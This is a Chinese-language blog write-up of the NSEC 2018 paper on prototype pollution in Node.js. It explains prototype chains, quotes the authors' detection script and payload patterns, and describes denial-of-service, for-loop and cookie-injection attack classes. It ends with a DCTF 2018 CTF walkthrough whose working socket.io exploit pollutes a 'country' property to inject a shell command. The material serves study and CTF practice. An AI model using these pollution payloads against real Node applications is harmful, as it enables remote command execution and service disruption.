前言
本篇paper來自於 NSEC 2018 :Prototype pollution attack in NodeJS application,寫summary的原因因為本篇文章介紹的攻擊點和實際問題密切相關,同時在CTF各大比賽中經常出現。
背景知識
為了介紹什麼是原型鏈汙染漏洞,我們得先有一些前置知識,首先觀察一段代碼:
a={};
a.__proto__.test2 = '456';
b={};
console.log(a.test2);
console.log(b.test2);
b.__proto__.test2 = '789';
console.log(a.test2);
console.log(b.test2);
我們定義一個a對象,並對其進行賦值:
a.__proto__.test2 = '456';
我們再定義一個b對象,但此時發現,如果我們輸出:
console.log(a.test2);
console.log(b.test2);
此時得到的結果是:
456
456
那麼為什麼b對象會有test2這個屬性的value呢?
這是因為我們有等價關係:
a.__proto__ == Object.prototype
那麼此時,如果我們調用b.test2,其因為獲取不到,就會往父類中查找,因此找到了Object.prototype.test2。
因此我們調用b.test2,可以獲取到456這個值。
我們再看一個簡單的例子:
我們構造了類的繼承關係:
在使用a.testA的時候:
1.在testC類裡查找testA屬性
2.在testC的父類裡查找testA屬性
3.在testC的"爺"類裡查找testA屬性
故此可以正常調用到testA屬性。
對於testB、testC屬性也是同理。
原型鏈汙染漏洞
為了了解原型鏈汙染漏洞,我們看如下代碼:
假設我們控制evil.__proto__,那就等同於可以修改testClass類的prototype,那麼即可篡改SecClass中的url屬性值。
那麼在後續所有調用該屬性的位置,都會產生相應的影響。
漏洞評估
作者的數據集定於npm的所有庫,但是由於代碼量巨大,傳統的靜態分析並不適用,於是作者使用了動態測試方法,對受影響的庫進行驗證:
* 使用npm安裝需要測試的庫* 將庫引入文件
* 遞歸列舉庫中所有可調用的函數
* 對於每一個函數
* 對於每一個函數進行原型鏈汙染測試input
* 檢驗是否產生影響,若產生,則標註漏洞點,並清除影響
代碼已開源在github:
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/find-vuln/find-vuln.js
簡單分析代碼可知,作者首先申明了一個對象,對象中有屬性名為:_proto_。
如果經過庫中函數處理,該屬性成為原型,那麼說明出現了原型鏈汙染問題:
作者列舉了多種pattern:
var pattern = [{
fnct : function (totest) {
totest(BAD_JSON);
},
sig: "function (BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, {});
},
sig: "function (BAD_JSON, {})"
},{
fnct : function (totest) {
totest({}, BAD_JSON);
},
sig: "function ({}, BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, BAD_JSON);
},
sig: "function (BAD_JSON, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, BAD_JSON);
},
sig: "function ({}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, {}, BAD_JSON);
},
sig: "function ({}, {}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, "__proto__.test", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__[test]", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__.test", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__[test]", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__", "test", "123");
},
sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
fnct : function (totest) {
totest("__proto__", "test", "123");
},
sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]
然後對一個庫中所有函數進行測試,再進行檢測:
function check() {
if ({}.test == "123" || {}.test == 123) {
delete Object.prototype.test;
return true;
}
return false;
}
作者經過測試,得到了許多受原型鏈汙染影響的庫:
其中不乏我們經常在ctf中遇到的lodash……
而後,作者選取了幾個典例進行分析。
拒絕服務攻擊
例如代碼中的第12行,存在漏洞點,其使用了lodash的merge,導致我們可以汙染req對象,由於返回結果依賴於這個對象。那麼如果攻擊者input如下exp,每一條請求都將返回500:
For-loop汙染
例如如下代碼,我們可以進行原型汙染,這樣commands在下一次遍歷時,就會遍歷到我們加入的惡意值,進行任意命令執行。
Property injection
由於NodeJS的http模塊擁有多個同名header,我們可以對cookie進行汙染,那麼request.headers.cookie將變為我們的汙染值,那麼每一個訪問者都會共享同一個cookie:
CTF中的應用
看完了作者介紹的原型鏈汙染攻擊,我們來看一下其在CTF中的簡單應用。
題目:https://chat.dctfq18.def.camp
源碼:https://dctf.def.camp/dctf-18-quals-81249812/chat.zip
我們下載源碼後,首先審計服務端代碼:
看到在help.js中有如下高危代碼:
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
如果我們可控message,那麼即可進行rce,例如:
於是在server.js中尋找調用點:
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('leave', function(channel) {
try {
client .join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});
可以發現在join和leave用相應的調用:
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
那麼如果可控u和c,那麼即可進行命令拼接,而u對於name,c對應country,對於name參數:
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}
var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
return true;
}
我們發現我們被進行了大量過濾,很難直接進行任意命令執行,於是我們開始思考如何改變country的值,那麼便容易想到使用原型鏈汙染,在父類對象中加入country屬性的值,進行汙染。
那麼我們可以從register進行輸入:
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))
if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}
var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}
if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}
clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});
我們發現存在原型鏈汙染漏洞點:
newUser = helper.clone(JSON.parse(inUser))
我們可以利用這裡的clone,進行汙染,達成目的。
構造如下exp:
const io = require('socket.io-client')
const socket = io.connect('http://0.0.0.0:10000')
socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})
socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`);
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', 'xxx');
後記
Prototype pollution attack還是一個比較有趣的攻擊點,下次可以結合一些題目和CVE再做一些深入的了解。
本文為 一葉飄零 原創稿件,授權嘶吼獨家發布